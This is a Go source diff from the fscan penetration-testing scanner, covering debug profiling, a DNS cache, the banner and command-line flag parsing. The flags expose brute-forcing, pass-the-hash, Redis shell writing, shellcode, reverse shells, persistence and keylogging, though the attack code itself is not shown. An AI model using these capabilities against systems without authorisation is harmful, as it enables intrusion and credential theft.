||||||
|
}
|
||||||
|
|
||||||
|
goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof")
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_goroutine_profile_failed", err))
|
||||||
|
} else {
|
||||||
|
if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_goroutine_profile_failed", err))
|
||||||
|
} else {
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_goroutine_profile_saved", profilesPath))
|
||||||
|
}
|
||||||
|
goroutineProfile.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("\n[DEBUG] %s\n", i18n.Tr("debug_profiles_saved", profilesPath))
|
||||||
|
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_view_methods"))
|
||||||
|
fmt.Printf(" %s: go tool pprof -http=:8081 %s/cpu.prof\n", i18n.GetText("debug_cpu_flamegraph"), profilesPath)
|
||||||
|
fmt.Printf(" %s: go tool pprof -http=:8081 %s/mem.prof\n", i18n.GetText("debug_mem_flamegraph"), profilesPath)
|
||||||
|
fmt.Printf(" %s: go tool pprof -http=:8081 %s/goroutine.prof\n", i18n.GetText("debug_goroutine_analysis"), profilesPath)
|
||||||
|
fmt.Printf(" %s: go tool trace %s/trace.out\n", i18n.GetText("debug_execution_timeline"), profilesPath)
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build !debug
|
||||||
|
// +build !debug
|
||||||
|
|
||||||
|
package debug
|
||||||
|
|
||||||
|
// 生产版本:pprof 完全不编译进来
|
||||||
|
|
||||||
|
func Start() {}
|
||||||
|
func Stop() {}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
//go:build !debug
|
||||||
|
// +build !debug
|
||||||
|
|
||||||
|
package debug
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestStubStartStop(t *testing.T) {
|
||||||
|
Start()
|
||||||
|
Stop()
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DNSCache 并发安全的 DNS 解析缓存
|
||||||
|
// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用
|
||||||
|
var DNSCache = &dnsCache{}
|
||||||
|
|
||||||
|
type dnsCache struct {
|
||||||
|
m sync.Map // host -> *net.IPAddr
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveIP 解析 host 为 *net.IPAddr,结果缓存
|
||||||
|
func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) {
|
||||||
|
if v, ok := c.m.Load(host); ok {
|
||||||
|
addr, _ := v.(*net.IPAddr)
|
||||||
|
return addr, nil
|
||||||
|
}
|
||||||
|
addr, err := net.ResolveIPAddr("ip", host)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
c.m.Store(host, addr)
|
||||||
|
return addr, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestDNSCacheResolveIPAndCacheHit(t *testing.T) {
|
||||||
|
cache := &dnsCache{}
|
||||||
|
|
||||||
|
first, err := cache.ResolveIP("127.0.0.1")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ResolveIP loopback error = %v", err)
|
||||||
|
}
|
||||||
|
second, err := cache.ResolveIP("127.0.0.1")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ResolveIP cached loopback error = %v", err)
|
||||||
|
}
|
||||||
|
if first != second {
|
||||||
|
t.Fatal("ResolveIP should return cached address on second lookup")
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := cache.ResolveIP("bad host with spaces"); err == nil {
|
||||||
|
t.Fatal("ResolveIP should reject an invalid host")
|
||||||
|
}
|
||||||
|
}
|
||||||
+387
-29
@@ -1,42 +1,400 @@
|
|||||||
package common
|
package common
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"errors"
|
||||||
"flag"
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/fatih/color"
|
||||||
|
"github.com/shadow1ng/fscan/common/config"
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
)
|
)
|
||||||
|
|
||||||
func Banner(){
|
// ErrShowHelp 表示用户请求显示帮助(正常退出)
|
||||||
banner := `
|
var ErrShowHelp = errors.New("show help requested")
|
||||||
|
|
||||||
___ _
|
// IsLocalMode 由 plugins 包注册,判断 -m 指定的是否全是本地插件
|
||||||
/ _ \ ___ ___ _ __ __ _ ___| | __
|
var IsLocalMode func(mode string) bool
|
||||||
/ /_\/____/ __|/ __| '__/ _`+"`"+` |/ __| |/ /
|
|
||||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
// Banner 显示程序横幅信息
|
||||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
func Banner() {
|
||||||
`
|
// 静默模式下完全跳过Banner显示
|
||||||
print(banner)
|
if flagVars.Silent {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 定义暗绿色系
|
||||||
|
colors := []color.Attribute{
|
||||||
|
color.FgGreen, // 基础绿
|
||||||
|
color.FgHiGreen, // 亮绿
|
||||||
|
}
|
||||||
|
|
||||||
|
lines := []string{
|
||||||
|
" ___ _ ",
|
||||||
|
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
|
||||||
|
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
|
||||||
|
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
|
||||||
|
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取最长行的长度
|
||||||
|
maxLength := 0
|
||||||
|
for _, line := range lines {
|
||||||
|
if len(line) > maxLength {
|
||||||
|
maxLength = len(line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建边框
|
||||||
|
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
|
||||||
|
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
|
||||||
|
|
||||||
|
// 打印banner
|
||||||
|
fmt.Println(topBorder)
|
||||||
|
|
||||||
|
for lineNum, line := range lines {
|
||||||
|
fmt.Print("│ ")
|
||||||
|
if flagVars.NoColor {
|
||||||
|
// 无色彩模式下使用普通文本
|
||||||
|
fmt.Print(line)
|
||||||
|
} else {
|
||||||
|
// 使用对应的颜色打印每个字符
|
||||||
|
c := color.New(colors[lineNum%2])
|
||||||
|
_, _ = c.Print(line)
|
||||||
|
}
|
||||||
|
// 补齐空格
|
||||||
|
padding := maxLength - len(line)
|
||||||
|
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println(bottomBorder)
|
||||||
|
|
||||||
|
// 打印版本信息
|
||||||
|
versionStr := fmt.Sprintf(" Fscan %s (%s %s)", version, commit, date)
|
||||||
|
if commit == "unknown" {
|
||||||
|
versionStr = fmt.Sprintf(" Fscan %s", version)
|
||||||
|
}
|
||||||
|
if flagVars.NoColor {
|
||||||
|
fmt.Printf("%s\n\n", versionStr)
|
||||||
|
} else {
|
||||||
|
c := color.New(colors[1])
|
||||||
|
_, _ = c.Printf("%s\n\n", versionStr)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Flag 解析命令行参数并配置扫描选项
|
||||||
|
// 返回ErrShowHelp表示用户请求帮助(正常退出),其他error表示参数错误
|
||||||
|
func Flag(Info *HostInfo) error {
|
||||||
|
// 预处理语言设置 - 在定义flag之前检查lang参数
|
||||||
|
preProcessLanguage()
|
||||||
|
|
||||||
|
fv := flagVars // 使用全局 FlagVars 实例
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// 目标配置参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
|
||||||
|
flag.StringVar(&fv.ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
|
||||||
|
flag.StringVar(&fv.ExcludeHostsFile, "ehf", "", i18n.GetText("flag_exclude_hosts_file"))
|
||||||
|
flag.StringVar(&fv.Ports, "p", config.MainPorts, i18n.GetText("flag_ports"))
|
||||||
|
flag.StringVar(&fv.ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
|
||||||
|
flag.StringVar(&fv.HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
|
||||||
|
flag.StringVar(&fv.PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
|
||||||
|
|
||||||
func Flag(Info *HostInfo) {
|
// ═════════════════════════════════════════════════
|
||||||
|
// 扫描控制参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&fv.ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
|
||||||
|
flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
|
||||||
|
flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout"))
|
||||||
|
flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
|
||||||
|
flag.Int64Var(&fv.GlobalTimeout, "gt", 0, i18n.GetText("flag_global_timeout"))
|
||||||
|
flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||||
|
flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
|
||||||
|
flag.BoolVar(&fv.DisableSubnetProbe, "nsp", false, i18n.GetText("flag_disable_subnet_probe"))
|
||||||
|
flag.StringVar(&fv.LocalPlugin, "local", "", i18n.GetText("flag_local_plugin"))
|
||||||
|
flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// 认证与凭据参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&fv.Username, "user", "", i18n.GetText("flag_username"))
|
||||||
|
flag.StringVar(&fv.Password, "pwd", "", i18n.GetText("flag_password"))
|
||||||
|
flag.StringVar(&fv.AddUsers, "usera", "", i18n.GetText("flag_add_users"))
|
||||||
|
flag.StringVar(&fv.AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
|
||||||
|
flag.StringVar(&fv.UsersFile, "userf", "", i18n.GetText("flag_users_file"))
|
||||||
|
flag.StringVar(&fv.PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
|
||||||
|
flag.StringVar(&fv.UserPassFile, "upf", "", i18n.GetText("flag_userpass_file"))
|
||||||
|
flag.StringVar(&fv.HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
|
||||||
|
flag.StringVar(&fv.HashValue, "hash", "", i18n.GetText("flag_hash_value"))
|
||||||
|
flag.StringVar(&fv.Domain, "domain", "", i18n.GetText("flag_domain"))
|
||||||
|
flag.StringVar(&fv.SSHKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key"))
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// Web扫描参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&fv.TargetURL, "u", "", i18n.GetText("flag_target_url"))
|
||||||
|
flag.StringVar(&fv.URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
|
||||||
|
flag.StringVar(&fv.Cookie, "cookie", "", i18n.GetText("flag_cookie"))
|
||||||
|
flag.StringVar(&fv.UserAgent, "ua", "", i18n.GetText("flag_user_agent"))
|
||||||
|
flag.Int64Var(&fv.WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
|
||||||
|
flag.IntVar(&fv.MaxRedirects, "max-redirect", 10, i18n.GetText("flag_max_redirects"))
|
||||||
|
flag.StringVar(&fv.HTTPProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
|
||||||
|
flag.StringVar(&fv.Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
|
||||||
|
flag.StringVar(&fv.Iface, "iface", "", i18n.GetText("flag_iface"))
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// POC测试参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&fv.PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
|
||||||
|
flag.StringVar(&fv.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
|
||||||
|
flag.BoolVar(&fv.PocFull, "full", false, i18n.GetText("flag_poc_full"))
|
||||||
|
flag.BoolVar(&fv.DNSLog, "dns", false, i18n.GetText("flag_dns_log"))
|
||||||
|
flag.IntVar(&fv.PocNum, "num", 20, i18n.GetText("flag_poc_num"))
|
||||||
|
flag.BoolVar(&fv.DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// Redis利用参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&fv.RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
|
||||||
|
flag.StringVar(&fv.RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
|
||||||
|
flag.StringVar(&fv.RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
|
||||||
|
flag.StringVar(&fv.RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
|
||||||
|
flag.StringVar(&fv.RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
|
||||||
|
flag.BoolVar(&fv.DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// 暴力破解控制参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.BoolVar(&fv.DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
|
||||||
|
flag.IntVar(&fv.MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// 发包频率控制参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.Int64Var(&fv.PacketRateLimit, "rate", 0, i18n.GetText("flag_packet_rate_limit"))
|
||||||
|
flag.Int64Var(&fv.MaxPacketCount, "maxpkts", 0, i18n.GetText("flag_max_packet_count"))
|
||||||
|
flag.Float64Var(&fv.ICMPRate, "icmp-rate", 0.1, i18n.GetText("flag_icmp_rate"))
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// 输出与显示控制参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
|
||||||
|
flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
|
||||||
|
flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save"))
|
||||||
|
flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
||||||
|
flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
||||||
|
flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
||||||
|
flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug"))
|
||||||
|
flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
|
||||||
|
flag.BoolVar(&fv.PerfStats, "perf", false, i18n.GetText("flag_perf_stats"))
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
// 其他参数
|
||||||
|
// ═════════════════════════════════════════════════
|
||||||
|
flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||||
|
flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||||
|
flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
|
||||||
|
flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
|
||||||
|
flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
|
||||||
|
flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
|
||||||
|
flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
|
||||||
|
|
||||||
|
// 文件下载插件参数
|
||||||
|
flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
|
||||||
|
flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
|
||||||
|
flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||||
|
|
||||||
|
// 帮助参数
|
||||||
|
flag.BoolVar(&fv.ShowHelp, "help", false, i18n.GetText("flag_help"))
|
||||||
|
|
||||||
|
// 解析命令行参数
|
||||||
|
if err := parseCommandLineArgs(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检测用户是否显式指定了 -t
|
||||||
|
flag.Visit(func(f *flag.Flag) {
|
||||||
|
switch f.Name {
|
||||||
|
case "t":
|
||||||
|
fv.ThreadNumExplicit = true
|
||||||
|
case "time":
|
||||||
|
fv.TimeoutExplicit = true
|
||||||
|
case "mt":
|
||||||
|
fv.ModuleThreadNumExplicit = true
|
||||||
|
case "retry":
|
||||||
|
fv.MaxRetriesExplicit = true
|
||||||
|
case "gt":
|
||||||
|
fv.GlobalTimeoutExplicit = true
|
||||||
|
case "icmp-rate":
|
||||||
|
fv.ICMPRateExplicit = true
|
||||||
|
case "num":
|
||||||
|
fv.PocNumExplicit = true
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// 设置语言
|
||||||
|
i18n.SetLanguage(fv.Language)
|
||||||
|
|
||||||
|
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||||
|
if fv.ShowHelp || shouldShowHelp(Info, fv) {
|
||||||
|
flag.Usage()
|
||||||
|
return ErrShowHelp
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseCommandLineArgs 解析命令行参数
|
||||||
|
func parseCommandLineArgs() error {
|
||||||
|
if err := flag.CommandLine.Parse(normalizeMultiValueFlagArgs(os.Args[1:], "-pwda")); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 显示Banner
|
||||||
Banner()
|
Banner()
|
||||||
flag.StringVar(&Info.Host,"h","","IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
|
||||||
flag.StringVar(&Info.HostFile,"hf","","host file, -hs ip.txt")
|
// 检查参数冲突
|
||||||
flag.StringVar(&Info.Ports,"p",DefaultPorts,"Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
return checkParameterConflicts()
|
||||||
flag.StringVar(&Info.Command,"c","","exec command (ssh)")
|
}
|
||||||
flag.IntVar(&Info.Threads,"t",200,"Thread nums")
|
|
||||||
flag.IntVar(&Info.IcmpThreads,"it",3000,"Icmp Threads nums")
|
func normalizeMultiValueFlagArgs(args []string, names ...string) []string {
|
||||||
flag.BoolVar(&Info.Isping,"np",false,"not to ping")
|
multiValueFlags := make(map[string]struct{}, len(names))
|
||||||
flag.BoolVar(&Info.IsSave,"no",false,"not to save output log")
|
for _, name := range names {
|
||||||
flag.StringVar(&Info.Username,"user","","username")
|
multiValueFlags[name] = struct{}{}
|
||||||
flag.StringVar(&Info.Userfile,"userf","","username file")
|
}
|
||||||
flag.StringVar(&Info.Password,"pwd","","password")
|
|
||||||
flag.StringVar(&Info.Passfile,"pwdf","","password file")
|
normalized := make([]string, 0, len(args))
|
||||||
flag.StringVar(&Info.Outputfile,"o","result.txt","Outputfile")
|
for i := 0; i < len(args); i++ {
|
||||||
flag.Int64Var(&Info.Timeout,"time",3,"Set timeout")
|
arg := args[i]
|
||||||
flag.StringVar(&Info.Scantype,"m","all","Select scan type ,as: -m ssh")
|
name, value, ok := splitMultiValueFlag(arg, multiValueFlags)
|
||||||
flag.StringVar(&Info.RedisFile,"rf","","redis file to write sshkey file (as: -rf id_rsa.pub) ")
|
if !ok {
|
||||||
flag.StringVar(&Info.RedisShell,"rs","","redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
|
normalized = append(normalized, arg)
|
||||||
flag.Parse()
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
|
values := []string{}
|
||||||
|
if value != "" {
|
||||||
|
values = append(values, value)
|
||||||
|
}
|
||||||
|
|
||||||
|
j := i + 1
|
||||||
|
for ; j < len(args); j++ {
|
||||||
|
if strings.HasPrefix(args[j], "-") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
values = append(values, args[j])
|
||||||
|
}
|
||||||
|
i = j - 1
|
||||||
|
|
||||||
|
if strings.Contains(arg, "=") {
|
||||||
|
normalized = append(normalized, name+"="+strings.Join(values, ","))
|
||||||
|
} else {
|
||||||
|
normalized = append(normalized, name)
|
||||||
|
if len(values) > 0 {
|
||||||
|
normalized = append(normalized, strings.Join(values, ","))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return normalized
|
||||||
|
}
|
||||||
|
|
||||||
|
func splitMultiValueFlag(arg string, names map[string]struct{}) (string, string, bool) {
|
||||||
|
if _, ok := names[arg]; ok {
|
||||||
|
return arg, "", true
|
||||||
|
}
|
||||||
|
|
||||||
|
for name := range names {
|
||||||
|
prefix := name + "="
|
||||||
|
if strings.HasPrefix(arg, prefix) {
|
||||||
|
return name, strings.TrimPrefix(arg, prefix), true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return "", "", false
|
||||||
|
}
|
||||||
|
|
||||||
|
// preProcessLanguage 预处理语言参数,在定义flag之前设置语言
|
||||||
|
func preProcessLanguage() {
|
||||||
|
// 遍历命令行参数查找-lang参数
|
||||||
|
for i, arg := range os.Args {
|
||||||
|
if arg == "-lang" && i+1 < len(os.Args) {
|
||||||
|
lang := os.Args[i+1]
|
||||||
|
if lang == "en" || lang == "zh" {
|
||||||
|
flagVars.Language = lang
|
||||||
|
i18n.SetLanguage(lang)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else if strings.HasPrefix(arg, "-lang=") {
|
||||||
|
lang := strings.TrimPrefix(arg, "-lang=")
|
||||||
|
if lang == "en" || lang == "zh" {
|
||||||
|
flagVars.Language = lang
|
||||||
|
i18n.SetLanguage(lang)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查环境变量
|
||||||
|
envLang := os.Getenv("FS_LANG")
|
||||||
|
if envLang == "en" || envLang == "zh" {
|
||||||
|
flagVars.Language = envLang
|
||||||
|
i18n.SetLanguage(envLang)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// shouldShowHelp 检查是否应该显示帮助信息
|
||||||
|
func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool {
|
||||||
|
// Web模式不需要目标参数
|
||||||
|
if WebMode {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否提供了扫描目标
|
||||||
|
hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != ""
|
||||||
|
|
||||||
|
// 本地模式不需要目标主机
|
||||||
|
if fv.LocalPlugin != "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// -m 指定的全是本地插件时也不需要目标
|
||||||
|
if IsLocalMode != nil && IsLocalMode(fv.ScanMode) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果没有提供任何扫描目标,则显示帮助
|
||||||
|
return !hasTarget
|
||||||
|
}
|
||||||
|
|
||||||
|
// checkParameterConflicts 检查参数冲突和兼容性
|
||||||
|
// 返回error而不是调用os.Exit,让调用者决定如何处理
|
||||||
|
func checkParameterConflicts() error {
|
||||||
|
fv := flagVars
|
||||||
|
|
||||||
|
// -debug 等价于 -log debug
|
||||||
|
if fv.Debug {
|
||||||
|
fv.LogLevel = LogLevelDebug
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
|
||||||
|
if fv.AliveOnly && fv.ScanMode == "icmp" {
|
||||||
|
LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查本地插件参数
|
||||||
|
if fv.LocalPlugin != "" {
|
||||||
|
// 检查是否包含分隔符(确保只能指定单个插件)
|
||||||
|
invalidChars := []string{",", ";", " ", "|", "&"}
|
||||||
|
for _, char := range invalidChars {
|
||||||
|
if strings.Contains(fv.LocalPlugin, char) {
|
||||||
|
return fmt.Errorf("%s", i18n.Tr("param_local_multi_plugin", char))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,39 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"reflect"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestNormalizeMultiValueFlagArgs(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
args []string
|
||||||
|
want []string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "space separated pwda values",
|
||||||
|
args: []string{"-h", "192.168.1.1", "-pwda", "pass1", "pass2", "pass3", "-m", "ssh"},
|
||||||
|
want: []string{"-h", "192.168.1.1", "-pwda", "pass1,pass2,pass3", "-m", "ssh"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "equals form with extra values",
|
||||||
|
args: []string{"-pwda=pass1", "pass2", "-h", "192.168.1.1"},
|
||||||
|
want: []string{"-pwda=pass1,pass2", "-h", "192.168.1.1"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "unrelated args unchanged",
|
||||||
|
args: []string{"-h", "192.168.1.1", "-m", "ssh"},
|
||||||
|
want: []string{"-h", "192.168.1.1", "-m", "ssh"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
got := normalizeMultiValueFlagArgs(tt.args, "-pwda")
|
||||||
|
if !reflect.DeepEqual(got, tt.want) {
|
||||||
|
t.Fatalf("normalizeMultiValueFlagArgs() = %#v, want %#v", got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,259 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/config"
|
||||||
|
"golang.org/x/term"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
flag_config.go - 命令行参数直接解析到Config
|
||||||
|
|
||||||
|
flag直接写入配置结构。
|
||||||
|
*/
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// FlagVars - 命令行参数原始值
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// FlagVars 存储命令行解析的原始值
|
||||||
|
// 某些字段需要类型转换(如 int64 秒 → time.Duration)
|
||||||
|
type FlagVars struct {
|
||||||
|
// 目标配置
|
||||||
|
Host string
|
||||||
|
ExcludeHosts string
|
||||||
|
ExcludeHostsFile string
|
||||||
|
Ports string
|
||||||
|
ExcludePorts string
|
||||||
|
HostsFile string
|
||||||
|
PortsFile string
|
||||||
|
|
||||||
|
// 扫描控制
|
||||||
|
ScanMode string
|
||||||
|
ThreadNum int
|
||||||
|
ThreadNumExplicit bool // 用户显式指定了 -t
|
||||||
|
ModuleThreadNum int
|
||||||
|
ModuleThreadNumExplicit bool
|
||||||
|
TimeoutSec int64 // 秒,需转换为 time.Duration
|
||||||
|
TimeoutExplicit bool
|
||||||
|
GlobalTimeout int64
|
||||||
|
GlobalTimeoutExplicit bool
|
||||||
|
DisablePing bool
|
||||||
|
DisableTcpProbe bool
|
||||||
|
DisableSubnetProbe bool
|
||||||
|
LocalPlugin string
|
||||||
|
AliveOnly bool
|
||||||
|
DisableBrute bool
|
||||||
|
MaxRetries int
|
||||||
|
MaxRetriesExplicit bool
|
||||||
|
|
||||||
|
// 认证凭据
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
AddUsers string
|
||||||
|
AddPasswords string
|
||||||
|
UsersFile string
|
||||||
|
PasswordsFile string
|
||||||
|
UserPassFile string
|
||||||
|
HashFile string
|
||||||
|
HashValue string
|
||||||
|
Domain string
|
||||||
|
SSHKeyPath string
|
||||||
|
|
||||||
|
// Web扫描
|
||||||
|
TargetURL string
|
||||||
|
URLsFile string
|
||||||
|
Cookie string
|
||||||
|
UserAgent string
|
||||||
|
Accept string
|
||||||
|
WebTimeout int64 // 秒
|
||||||
|
MaxRedirects int
|
||||||
|
HTTPProxy string
|
||||||
|
Socks5Proxy string
|
||||||
|
Iface string
|
